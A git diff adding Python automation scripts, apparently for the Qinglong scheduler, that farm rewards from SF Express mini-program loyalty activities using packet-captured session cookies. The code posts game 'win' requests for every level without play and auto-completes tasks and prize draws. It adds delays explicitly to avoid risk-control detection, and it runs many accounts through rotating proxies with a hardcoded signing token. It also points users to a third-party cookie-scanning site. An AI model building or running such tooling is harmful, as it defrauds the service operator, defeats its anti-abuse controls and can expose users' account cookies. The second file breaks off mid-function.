'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~midAutumn2024IndexService~index' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + acEndTime = obj.get('acEndTime', '') + # 获取当前时间并格式化 + current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + comparison_time = datetime.strptime(acEndTime, "%Y-%m-%d %H:%M:%S") + # 比较当前时间是否小于比较时间 + is_less_than = datetime.now() < comparison_time + if is_less_than: + print('中秋游动进行中....') + return True + else: + print('中秋活动已结束') + return False + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.MIDAUTUMN_2024_black = True + Log('会员日任务风控') + return False + except Exception as e: + print(e) + return False + + def MIDAUTUMN_2024_Game_indexInfo(self): + Log('====== 开始划龙舟游戏 ======') + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~midAutumn2024GameService~indexInfo' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + maxPassLevel = obj.get('maxPassLevel', '') + ifPassAllLevel = obj.get('ifPassAllLevel', '') + if maxPassLevel != 30: + self.MIDAUTUMN_2024_win(maxPassLevel) + else: + self.MIDAUTUMN_2024_win(0) + + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.MIDAUTUMN_2024_black = True + Log('会员日任务风控') + return False + except Exception as e: + print(e) + return False + + def MIDAUTUMN_2024_Game_init(self): + Log('====== 开始划龙舟游戏 ======') + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~midAutumn2024GameService~init' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + currentIndex = obj.get('currentIndex', '') + ifPassAllLevel = obj.get('ifPassAllLevel', '') + if currentIndex != 30: + self.MIDAUTUMN_2024_win(currentIndex) + else: + self.MIDAUTUMN_2024_win(0) + + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.MIDAUTUMN_2024_black = True + Log('会员日任务风控') + return False + except Exception as e: + print(e) + return False + + def MIDAUTUMN_2024_weeklyGiftStatus(self): + print('====== 查询每周礼包领取状态 ======') + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~midAutumn2024IndexService~weeklyGiftStatus' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + for gift in obj: + received = gift['received'] + receiveStartTime = gift['receiveStartTime'] + receiveEndTime = gift['receiveEndTime'] + print(f'>>> 领取时间:【{receiveStartTime} 至 {receiveEndTime}】') + if received: + print('> 该礼包已领取') + continue + receive_start_time = datetime.strptime(receiveStartTime, "%Y-%m-%d %H:%M:%S") + receive_end_time = datetime.strptime(receiveEndTime, "%Y-%m-%d %H:%M:%S") + is_within_range = receive_start_time <= datetime.now() <= receive_end_time + if is_within_range: + print(f'>> 开始领取礼包:') + self.MIDAUTUMN_2024_receiveWeeklyGift() + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.MIDAUTUMN_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def MIDAUTUMN_2024_receiveWeeklyGift(self): + invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) + try: + payload = {"inviteUserId": invite_user_id} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~midAutumn2024IndexService~receiveWeeklyGift' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + if obj == [{}]: + print('> 领取失败') + return False + for gifts in obj: + productName = gifts['productName'] + amount = gifts['amount'] + print(f'> 领取【{productName} x {amount}】成功') + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.MIDAUTUMN_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def MIDAUTUMN_2024_taskList(self): + print('====== 查询推币任务列表 ======') + try: + payload = { + "activityCode": "MIDAUTUMN_2024", + "channelType": "MINI_PROGRAM" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + for task in obj: + taskType = task['taskType'] + self.taskName = task['taskName'] + status = task['status'] + if status == 3: + Log(f'> 任务【{self.taskName}】已完成') + continue + self.taskCode = task.get('taskCode', None) + if self.taskCode: + self.MIDAUTUMN_2024_finishTask() + if taskType == 'PLAY_ACTIVITY_GAME': + self.MIDAUTUMN_2024_Game_init() + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.MIDAUTUMN_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def MIDAUTUMN_2024_coinStatus(self, END=False): + Log('====== 查询金币信息 ======') + # try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~midAutumn2024CoinService~coinStatus' + + response = self.do_request(url,payload) + # print(response) + if response.get('success'): + obj = response.get('obj', None) + if obj == None: return False + accountCurrencyList = obj.get('accountCurrencyList', []) + pushedTimesToday = obj.get('pushedTimesToday', '') + pushedTimesTotal = obj.get('pushedTimesTotal', '') + PUSH_TIMES_balance = 0 + self.COIN_balance = 0 + WELFARE_CARD_balance = 0 + for li in accountCurrencyList: + if li['currency'] == 'PUSH_TIMES': + PUSH_TIMES_balance = li['balance'] + if li['currency'] == 'COIN': + self.COIN_balance = li['balance'] + if li['currency'] == 'WELFARE_CARD': + WELFARE_CARD_balance = li['balance'] + + PUSH_TIMES = PUSH_TIMES_balance + if END: + if PUSH_TIMES_balance > 0: + for i in range(PUSH_TIMES_balance): + print(f'>> 开始第【{PUSH_TIMES_balance + 1}】次推币') + self.MIDAUTUMN_2024_pushCoin() + PUSH_TIMES -= 1 + pushedTimesToday += 1 + pushedTimesTotal += 1 + Log(f'> 剩余推币次数:【{PUSH_TIMES}】') + Log(f'> 当前金币:【{self.COIN_balance}】') + # Log(f'> 当前发财卡:【{WELFARE_CARD_balance}】') + Log(f'> 今日推币:【{pushedTimesToday}】次') + Log(f'> 总推币:【{pushedTimesTotal}】次') + else: + print(f'> 剩余推币次数:【{PUSH_TIMES_balance}】') + print(f'> 当前金币:【{self.COIN_balance}】') + # Log(f'> 当前发财卡:【{WELFARE_CARD_balance}】') + print(f'> 今日推币:【{pushedTimesToday}】次') + print(f'> 总推币:【{pushedTimesTotal}】次') + + self.MIDAUTUMN_2024_givePushTimes() + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.MIDAUTUMN_2024_black = True + Log('会员日任务风控') + # except Exception as e: + # print(e) + + def MIDAUTUMN_2024_pushCoin(self): + try: + payload = {"plateToken": None} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~midAutumn2024CoinService~pushCoin' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + drawAward = obj.get('drawAward', '') + self.COIN_balance += drawAward + print(f'> 获得:【{drawAward}】金币') + + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.MIDAUTUMN_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def MIDAUTUMN_2024_givePushTimes(self): + Log('====== 领取赠送推币次数 ======') + try: + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~midAutumn2024CoinService~givePushTimes' + + response = self.do_request(url) + # print(response) + if response.get('success'): + obj = response.get('obj', 0) + print(f'> 获得:【{obj}】次推币机会') + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.MIDAUTUMN_2024_black = True + Log('> 会员日任务风控') + print(error_message) + except Exception as e: + print(e) + + def MIDAUTUMN_2024_finishTask(self): + try: + payload = { + "taskCode": self.taskCode + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', False) + Log(f'> 完成任务【{self.taskName}】成功') + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.MIDAUTUMN_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def MIDAUTUMN_2024_win(self, level): + try: + for i in range(level, 31): + print(f'开始第【{i}】关') + payload = {"levelIndex": i} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~midAutumn2024GameService~win' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + currentAwardList = obj.get('currentAwardList', []) + if currentAwardList != []: + for award in currentAwardList: + currency = award.get('currency', '') + amount = award.get('amount', '') + print(f'> 获得:【{currency}】x{amount}') + else: + print(f'> 本关无奖励') + # random_time =random.randint(10,15) + # print(f'>> 等待{random_time}秒 <<') + # time.sleep(random_time) + else: + error_message = response.get('errorMessage', '无返回') + print(error_message) + if '没有资格参与活动' in error_message: + self.MIDAUTUMN_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + def csy2025(self): + """ + 查询财神爷任务列表,并处理任务逻辑。 + """ + try: + payload = {"activityCode": "YEAREND_2024", "channelType": "MINI_PROGRAM"} + url = "https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList" + + response = self.do_request(url, payload) + + if isinstance(response, dict) and response.get('success'): + tasks = response.get('obj', []) + for task in tasks: + taskType = task.get('taskType', None) + taskName = task.get('taskName', '未知任务') + taskCode = task.get('taskCode', None) + taskStatus = task.get('status', 0) + + Log(f"> 正在处理任务【{taskName}】,类型:【{taskType}】,状态:【{taskStatus}】") + + # 跳过已完成任务 + if taskStatus == 3: + Log(f"> 任务【{taskName}】已完成,跳过") + continue + + # 如果任务类型是“PLAY_ACTIVITY_GAME”,处理闯关逻辑 + if taskType == 'PLAY_ACTIVITY_GAME': + try: + u = "https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024GameService~resurrect" + resurrect_payload = {} # 该接口不需要参数 + rs = self.do_request(u, resurrect_payload) + + if rs.get('success'): + obj = rs.get('obj', {}) + user_status = obj.get('userStatus', 1) # 默认值为 1,表示第一关 + resurrect_time = obj.get('resurrectTime', 0) # 复活次数 + + # 提示用户当前所在关卡 + Log(f"> 当前用户在第【{user_status}】关") + Log(f"> 用户已经复活了【{resurrect_time}】次") + + # 开始闯关 + Log(f"> 开始闯关,从第 {user_status} 关开始") + self.DRAGONBOAT_2025_win(user_status) + else: + error_message = rs.get('errorMessage', '未知错误') + Log(f"> 无法获取用户关卡:{error_message}") + except Exception as e: + import traceback + Log(f"获取用户当前关卡时出现异常:{e}\n{traceback.format_exc()}") + + # 如果有其他任务处理逻辑 + if taskCode: + self.DRAGONBOAT_2025_finishTask(taskCode, taskName) + #开始招财神 + self.zcs() + except Exception as e: + import traceback + Log(f"任务查询时出现异常:{e}\n{traceback.format_exc()}") + def cxcs(self): + Log('====== 开始抽财神 ======') + try: + # 查询剩余机会 + query_payload = {} + query_url = "https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024WealthCardService~wealthStatus" + query_response = self.do_request(query_url, query_payload) + + if query_response.get('success') and query_response.get('obj'): + obj = query_response.get('obj') + # 获取当前 WEALTH_CHANCE 次数 + current_account_list = obj.get('currentAccountList', []) + wealth_chance = 0 + for account in current_account_list: + if account.get('currency') == 'WEALTH_CHANCE': + wealth_chance = account.get('balance', 0) + break + + Log(f'当前有 {wealth_chance} 次抽财神机会') + + # 开始抽奖 + if wealth_chance > 0: + draw_url = "https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024WealthCardService~fortuneWealth" + for i in range(wealth_chance): + Log(f'>>> 开始第 {i + 1} 次抽财神') + draw_payload = {} + draw_response = self.do_request(draw_url, draw_payload) + + if draw_response.get('success') and draw_response.get('obj'): + draw_obj = draw_response.get('obj') + # 提取抽中的奖励列表 + received_account_list = draw_obj.get('receivedAccountList', []) + + for reward in received_account_list: + currency = reward.get('currency', 'UNKNOWN') + amount = reward.get('amount', 0) + + # 映射 currency 到财神名称 + if currency == 'MIDDLE_WEALTH': + Log(f'抽中奖励:中路财神 x{amount}') + elif currency == 'EAST_WEALTH': + Log(f'抽中奖励:东路财神 x{amount}') + elif currency == 'LOVE_SIGN': + Log(f'抽中奖励:北路财神 x{amount}') + elif currency == 'WEALTH_CHANCE': + Log(f'抽中奖励:西路财神 x{amount}') + elif currency == 'SOUTH_WEALTH': + Log(f'抽中奖励:南路财神 x{amount}') + else: + Log(f'抽中奖励:未知奖励【{currency}】x{amount}') + else: + error_message = draw_response.get('errorMessage', '无返回') + Log(f'抽奖失败: {error_message}') + time.sleep(1) # 等待 1 秒,避免触发风控 + else: + Log('没有剩余的抽财神机会') + + else: + # 如果查询失败,打印错误信息 + error_message = query_response.get('errorMessage', '无法查询抽财神机会') + Log(f'查询抽财神机会失败,原因:{error_message}') + + except Exception as e: + import traceback + Log(f'抽财神时出现异常:{e}\n{traceback.format_exc()}') + + Log('====== 抽财神结束 ======') + + def index2025(self): + Log(f'====== {self.mobile}开始查询财神卡状态 ======') + + try: + # 查询财神卡片 + query_payload = {} + query_url = "https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024WealthCardService~wealthStatus" + query_response = self.do_request(query_url, query_payload) + + if query_response.get('success') and query_response.get('obj'): + obj = query_response.get('obj', {}) + current_account_list = obj.get('currentAccountList', []) + + # 初始化各路财神的计数 + wealth_counts = { + "东路": 0, + "南路": 0, + "中路": 0, + "西路": 0, + "北路": 0, + "幸运值":0, + + } + + # 遍历账户列表,根据 currency 类型进行统计 + for account in current_account_list: + currency = account.get('currency') + balance = account.get('balance', 0) + if currency == "EAST_WEALTH": # 东路财神 + wealth_counts["东路"] += balance + elif currency == "LOVE_SIGN": # 北路路财神 + wealth_counts["北路"] += balance + elif currency == "MIDDLE_WEALTH": # 中路财神 + wealth_counts["中路"] += balance + elif currency == "WEALTH_CHANCE": # 西路财神 + wealth_counts["西路"] += balance + elif currency == "SOUTH_WEALTH": # 南路财神 + wealth_counts["南路"] += balance + elif currency=="LUCKY_VALUE": + wealth_counts["幸运值"] += balance + + # 打印结果 + account_log = ( + f"账号:{self.mobile}\n" + f"东路有 {wealth_counts['东路']} 个\n" + f"南路有 {wealth_counts['南路']} 个\n" + f"中路有 {wealth_counts['中路']} 个\n" + f"西路有 {wealth_counts['西路']} 个\n" + f"北路有 {wealth_counts['北路']} 个\n" + f"当前幸运值 {wealth_counts['幸运值']} \n" + ) + Log(account_log) + self.all_logs.append(account_log) + + if wealth_counts["幸运值"] == 10: + lucky_message = f"{self.mobile} 当前幸运值已满,请尽快抽奖!" + Log(lucky_message) + self.all_logs.append(lucky_message) # 添加幸运值满额提示 + else: + error_log = f"账号:{self.mobile} 查询失败或数据为空" + Log(error_log) + self.all_logs.append(error_log) + except Exception as e: + import traceback + Log(f"查询财神卡状态时出现异常: {e}\n{traceback.format_exc()}") + def DRAGONBOAT_2025_win(self, level): + """ + 闯关逻辑,从指定关卡开始闯到最后一关(第 15 关)。 + """ + try: + for i in range(level, 16): # 遍历关卡,从当前关卡到第 15 关(包含第 15 关) + Log(f"> {self.mobile} 正在开始第【{i}】关...") + payload = {"levelIndex": i} + url = "https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024GameService~win" + + # 发起请求 + response = self.do_request(url, payload) + + if response.get('success'): + obj = response.get('obj', {}) + current_award_list = obj.get('currentAwardList', []) + + # 打印奖励信息 + if current_award_list: + for award in current_award_list: + currency = award.get('currency', '未知奖励') + amount = award.get('amount', 0) + + # 根据 currency 提示对应财神 + if currency == "EAST_WEALTH": + Log(f">{self.mobile} 第【{i}】关成功,获得奖励:【东路财神】x{amount}") + elif currency == "LOVE_SIGN": + Log(f">{self.mobile} 第【{i}】关成功,获得奖励:【北路财神】x{amount}") + elif currency == "MIDDLE_WEALTH": + Log(f">{self.mobile} 第【{i}】关成功,获得奖励:【中路财神】x{amount}") + elif currency == "WEALTH_CHANCE": + Log(f">{self.mobile} 第【{i}】关成功,获得奖励:【西路财神】x{amount}") + elif currency == "SOUTH_WEALTH": + Log(f">{self.mobile} 第【{i}】关成功,获得奖励:【南路财神】x{amount}") + else: + Log(f">{self.mobile} 第【{i}】关成功,获得奖励:【{currency}】x{amount}") + else: + Log(f"> {self.mobile} 第【{i}】关成功,无奖励") + + # 检查是否是最后一关 + next_level_index = obj.get('nextLevelIndex', None) + if next_level_index is None or next_level_index > 15: + Log(f"> {self.mobile} 恭喜完成所有关卡!") + break + + else: + # 如果请求失败,打印错误信息 + error_message = response.get('errorMessage', '无返回') + Log(f"> {self.mobile} 第【{i}】关失败,错误信息:【{error_message}】") + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log(f"> {self.mobile} 检测到会员日任务风控,停止操作") + break # 停止闯关 + time.sleep(3) # 等待 3 秒避免触发风控 + except Exception as e: + import traceback + Log(f"{self.mobile} 闯关时出现异常:{e}\n{traceback.format_exc()}") + + def zcs(self): + url = "https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~yearEnd2024WealthCardService~giveWealthChance" + payload = {} + response = self.do_request(url, payload) + Log(f"---开始招财神") + # 判断请求是否成功 + if response.get("success"): + Log("赠送招财神机会成功!") + else: + # 提取并打印 errorMessage 内容 + error_message = response.get("errorMessage", "未知错误") + Log(f"操作失败,原因:{error_message}") + + def DRAGONBOAT_2025_finishTask(self, taskCode, taskName): + """ + 完成指定任务 + """ + try: + payload = {"taskCode": taskCode} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' + + # 发起请求 + response = self.do_request(url, payload) + Log(f"完成任务接口响应: {response}") + + # 验证响应是否成功 + if isinstance(response, dict) and response.get('success'): + obj = response.get('obj', None) + if obj is True: # 特殊情况:obj 为 True,任务完成成功但无额外数据 + Log(f"> {taskName}-已完成") + return True + elif obj is False: # 特殊情况:obj 为 False + Log(f"> {taskName}-未完成,失败原因:返回的 obj 为 False,任务可能无效或已完成") + return False + elif isinstance(obj, dict): # obj 是字典,正常处理 + data = obj.get('data', []) + Log(f"> {taskName}-已完成,返回数据:{data}") + return True + else: # obj 类型未知 + Log(f"> {taskName}-未完成,失败原因:返回的 obj 类型未知,实际为: {obj}") + return False + else: + error_message = response.get('errorMessage', '无返回') if isinstance(response, dict) else '未知错误' + Log(f"> {taskName}-未完成,失败原因:{error_message}") + return False + except Exception as e: + import traceback + Log(f"{taskName}-未完成,任务代码:【{taskCode}】,异常信息:{e}\n{traceback.format_exc()}") + return False + def sendMsg(self, help=False): + if self.send_UID: + push_res = CHERWIN_TOOLS.wxpusher(self.send_UID, one_msg, APP_NAME, help) + print(push_res) + + def main(self): + global one_msg + wait_time = random.randint(1000, 3000) / 1000.0 # 转换为秒 + time.sleep(wait_time) # 等待 + one_msg = '' + if not self.login_res: return False + # 执行签到任务 + self.sign() + self.superWelfare_receiveRedPacket() + self.get_SignTaskList() + self.get_SignTaskList(True) + + # 执行丰蜜任务 + self.honey_indexData() + # 获取任务列表并执行任务 + self.get_honeyTaskListStart() + self.honey_indexData(True) + self.csy2025() + time.sleep(5) + self.cxcs() + self.index2025() + ####################################### + # 获取当前季度结束日期 + activity_end_date = get_quarter_end_date() + days_left = (activity_end_date - datetime.now()).days + if days_left == 0: + message = "今天采蜜活动截止兑换就剩最后0天了,请及时进行兑换" + Log(message) + else: + message = f"今天采蜜活动截止兑换还有{days_left}天,请及时进行兑换" + Log(message) + target_time = datetime(2024, 4, 8, 19, 0) + if datetime.now() < target_time: + # self.EAR_END_2023_TaskList() + self.anniversary2024_task() + else: + print('#######################################') + ####################################### + self.member_day_index() + current_date = datetime.now().day + if 26 <= current_date <= 28: + self.member_day_index() + + else: + print('未到指定时间不执行会员日任务') + + # if self.DRAGONBOAT_2024_index(): + # self.DRAGONBOAT_2024_weeklyGiftStatus() + # self.DRAGONBOAT_2024_coinStatus() + # self.DRAGONBOAT_2024_taskList() + # # self.DRAGONBOAT_2024_Game_init() + # self.DRAGONBOAT_2024_coinStatus(True) + + # if self.MIDAUTUMN_2024_index(): + # self.MIDAUTUMN_2024_weeklyGiftStatus() + # self.MIDAUTUMN_2024_coinStatus() + # self.MIDAUTUMN_2024_taskList() + # self.MIDAUTUMN_2024_Game_init() + # self.MIDAUTUMN_2024_coinStatus(True) + + self.sendMsg() + return True + + +def get_quarter_end_date(): + # 获取当前日期的年份和月份 + current_year = datetime.now().year + current_month = datetime.now().month # 获取当前月份 + + # 根据月份判断季度并返回下个季度的第一天 + if current_month in [1, 2, 3]: # 第一季度 + next_quarter_first_day = datetime(current_year, 4, 1) + elif current_month in [4, 5, 6]: # 第二季度 + next_quarter_first_day = datetime(current_year, 7, 1) + elif current_month in [7, 8, 9]: # 第三季度 + next_quarter_first_day = datetime(current_year, 10, 1) + else: # 第四季度 + next_quarter_first_day = datetime(current_year + 1, 1, 1) # 跨年到下一年 + return next_quarter_first_day + +def is_activity_end_date(end_date): + # 检查 end_date 类型 + if isinstance(end_date, datetime): # 如果是 datetime 对象 + end_date = end_date.date() # 直接提取日期部分 + elif isinstance(end_date, str): # 如果是字符串 + end_date = datetime.strptime(end_date, "%Y-%m-%d").date() # 转换为日期对象 + else: + raise TypeError("end_date must be a string or datetime object") + + # 此处可以添加你对日期的进一步逻辑处理 + return end_date + + +# def down_file(filename, file_url): +# print(f'开始下载:{filename},下载地址:{file_url}') +# try: +# response = requests.get(file_url, verify=False, timeout=10) +# response.raise_for_status() +# with open(filename + '.tmp', 'wb') as f: +# f.write(response.content) +# print(f'【{filename}】下载完成!') + +# # 检查临时文件是否存在 +# temp_filename = filename + '.tmp' +# if os.path.exists(temp_filename): +# # 删除原有文件 +# if os.path.exists(filename): +# os.remove(filename) +# # 重命名临时文件 +# os.rename(temp_filename, filename) +# print(f'【{filename}】重命名成功!') +# return True +# else: +# print(f'【{filename}】临时文件不存在!') +# return False +# except Exception as e: +# print(f'【{filename}】下载失败:{str(e)}') +# return False + + + + + + +if __name__ == '__main__': + APP_NAME = '顺丰速运' + ENV_NAME = 'SFSY' + CK_NAME = 'url' + print(f''' +✨✨✨ {APP_NAME}脚本✨✨✨ + ✨ TL库:https://github.com/3288588344/toulu.git + ✨ tg频道:https://t.me/TLtoulu + ✨ QQ频道:https://pd.qq.com/s/672fku8ge + ✨ 微信机器人:kckl6688 +✨ 抓包步骤: + 打开{APP_NAME}APP或小程序 + 点击我的 + 打开抓包工具 + 点击“积分”,以下几种url之一: + https://mcs-mimp-web.sf-express.com/mcs-mimp/share/weChat/shareGiftReceiveRedirect + https://mcs-mimp-web.sf-express.com/mcs-mimp/share/app/shareRedirect + 多账号#、@、换行分割 +✨ 设置青龙变量: +export {ENV_NAME}='url'多账号#分割 + +✨✨✨ ✨✨✨ + ''') + + #分割变量 + if ENV_NAME in os.environ: + tokens = re.split("#|\n",os.environ.get(ENV_NAME)) + elif "sfsyUrl" in os.environ: + print("调用拉菲变量") + tokens = re.split("#|\n",os.environ.get("sfsyUrl")) + else: + tokens =[''] + print(f'无{ENV_NAME}变量') + #exit() + local_version = '2024.06.02' + all_logs = [] + # print(tokens) + if len(tokens) > 0: + + print(f"\n>>>>>>>>>>共获取到{len(tokens)}个账号<<<<<<<<<<") + for index, infos in enumerate(tokens): + run_instance = RUN(infos, index) + run_result = run_instance.main() + if run_instance.all_logs: + all_logs.extend(run_instance.all_logs) + if not run_result: + continue + # 所有账号处理完成后,统一推送日志 + if all_logs: # 确保日志不为空 + final_log = "\n".join(all_logs) # 合并所有日志 + send('顺丰账号卡片资产', final_log) # 调用推送方法 + else: + send('顺丰账号卡片资产', '脚本运行完成,无有效数据。') diff --git a/脚本库/微信小程序/抓包版/顺丰速运日常任务/2026-05-14_sfsy_be659945.py b/脚本库/微信小程序/抓包版/顺丰速运日常任务/2026-05-14_sfsy_be659945.py new file mode 100644 index 0000000..f0e4253 --- /dev/null +++ b/脚本库/微信小程序/抓包版/顺丰速运日常任务/2026-05-14_sfsy_be659945.py @@ -0,0 +1,1209 @@ +# Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/sfsy.py +# Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/sfsy.py +# Repo: smallfawn/QLScriptPublic +# Path: daily/sfsy.py +# UploadedAt: 2026-05-14T17:47:57+08:00 +# SHA256: be6599450801dd0f1cf9b8d7280a0e412cce8e091104d39a3ef59b1ecb57cf91 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +""" +顺丰速运日常积分任务 +Author: 爱学习的呆子 +Version: 1.3.0 +Date: 2026-04-04 +new Env("顺丰速运日常任务") +变量名:sfsyUrl +mcs-mimp-web.sf-express.com中的cookie +cron 0 12 * * * +""" +# 扫码获取ck地址:https://sm.9999.blue/ +import hashlib +import json +import os +import random +import time +from datetime import datetime +from typing import Dict, List, Optional, Any +from dataclasses import dataclass +from urllib.parse import unquote, urlparse, parse_qs +from concurrent.futures import ThreadPoolExecutor, as_completed +from threading import Lock +import requests +from requests.packages.urllib3.exceptions import InsecureRequestWarning + +# 禁用SSL警告 +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +# ==================== 代理相关配置常量 ==================== +PROXY_TIMEOUT = 15 # 代理超时时间(秒) +MAX_PROXY_RETRIES = 5 # 最大代理重试次数 +REQUEST_RETRY_COUNT = 3 # 请求重试次数 + +# ==================== 并发配置常量 ==================== +CONCURRENT_NUM = int(os.getenv('SFBF', '1')) # 并发数量,默认为1(串行),最大20 +if CONCURRENT_NUM > 20: + CONCURRENT_NUM = 20 + print(f'⚠️ 并发数量超过最大值20,已自动调整为20') +elif CONCURRENT_NUM < 1: + CONCURRENT_NUM = 1 + print(f'⚠️ 并发数量小于1,已自动调整为1(串行模式)') + +# 全局线程锁 +print_lock = Lock() # 用于保护打印输出 + + +# ==================== 配置类 ==================== +@dataclass +class Config: + """全局配置""" + APP_NAME: str = "顺丰速运" + VERSION: str = "1.2.0" + ENV_NAME: str = "sfsyUrl" + PROXY_API_URL: str = os.getenv('SF_PROXY_API_URL', '') + + # 代理相关配置常量 + PROXY_TIMEOUT = 15 # 代理时间(秒) + MAX_PROXY_RETRIES = 5 # 最大代理重试次数 + REQUEST_RETRY_COUNT = 3 # 请求重试次数 + + # API签名配置 + TOKEN: str = 'wwesldfs29aniversaryvdld29' + SYS_CODE: str = 'MCS-MIMP-CORE' + + # 任务跳过列表 + SKIP_TASKS: List[str] = None + + def __post_init__(self): + if self.SKIP_TASKS is None: + # 尝试直接提交所有任务,看看能否领取奖励 + # 原本跳过的任务:'用行业模板寄件下单'、'去新增一个收件偏好' + self.SKIP_TASKS = ['用行业模板寄件下单','用积分兑任意礼品','参与积分活动','每月累计寄件','完成每月任务','去使用AI寄件'] + + +# ==================== 日志系统 ==================== +class Logger: + """ + 日志管理器 - 实现图片中的日志风格 + """ + + # 日志图标 + ICONS = { + 'task_found': '🎯', # 发现任务 + 'task_skip': '⏭️', # 跳过任务 + 'task_complete': '✅', # 任务完成 + 'reward_get': '🎁', # 奖励领取 + 'info': '📝', # 普通信息 + 'success': '✨', # 成功 + 'error': '❌', # 错误 + 'warning': '⚠️', # 警告 + 'user': '👤', # 用户信息 + 'money': '💰', # 积分/金币 + 'gift': '🎁', # 礼物 + 'target': '🎯', # 目标 + } + + def __init__(self): + self.messages: List[str] = [] + self.current_account_msg: List[str] = [] + self.lock = Lock() # 每个Logger实例独立的锁 + + def _format_msg(self, icon: str, content: str) -> str: + """格式化消息""" + return f"{icon} {content}" + + def _safe_print(self, msg: str): + """线程安全的打印""" + with print_lock: + print(msg) + + def task_found(self, task_name: str, status: int = 2): + """发现任务""" + msg = self._format_msg(self.ICONS['task_found'], f"发现任务: {task_name} (状态: {status})") + self._safe_print(msg) + with self.lock: + self.current_account_msg.append(msg) + self.messages.append(msg) + + def task_skip(self, task_name: str): + """跳过任务""" + msg = self._format_msg(self.ICONS['task_skip'], f"[{task_name}] 已跳过") + self._safe_print(msg) + with self.lock: + self.current_account_msg.append(msg) + self.messages.append(msg) + + def task_complete(self, task_name: str): + """任务完成""" + msg = self._format_msg(self.ICONS['task_complete'], f"[{task_name}] 提交成功") + self._safe_print(msg) + with self.lock: + self.current_account_msg.append(msg) + self.messages.append(msg) + + def reward_get(self, task_name: str): + """奖励领取成功""" + msg = self._format_msg(self.ICONS['reward_get'], f"[{task_name}] 奖励领取成功") + self._safe_print(msg) + with self.lock: + self.current_account_msg.append(msg) + self.messages.append(msg) + + def info(self, content: str): + """普通信息""" + msg = self._format_msg(self.ICONS['info'], content) + self._safe_print(msg) + with self.lock: + self.current_account_msg.append(msg) + self.messages.append(msg) + + def success(self, content: str): + """成功信息""" + msg = self._format_msg(self.ICONS['success'], content) + self._safe_print(msg) + with self.lock: + self.current_account_msg.append(msg) + self.messages.append(msg) + + def error(self, content: str): + """错误信息""" + msg = self._format_msg(self.ICONS['error'], content) + self._safe_print(msg) + with self.lock: + self.current_account_msg.append(msg) + self.messages.append(msg) + + def warning(self, content: str): + """警告信息""" + msg = self._format_msg(self.ICONS['warning'], content) + self._safe_print(msg) + with self.lock: + self.current_account_msg.append(msg) + self.messages.append(msg) + + def user_info(self, account_index: int, mobile: str): + """用户信息""" + msg = 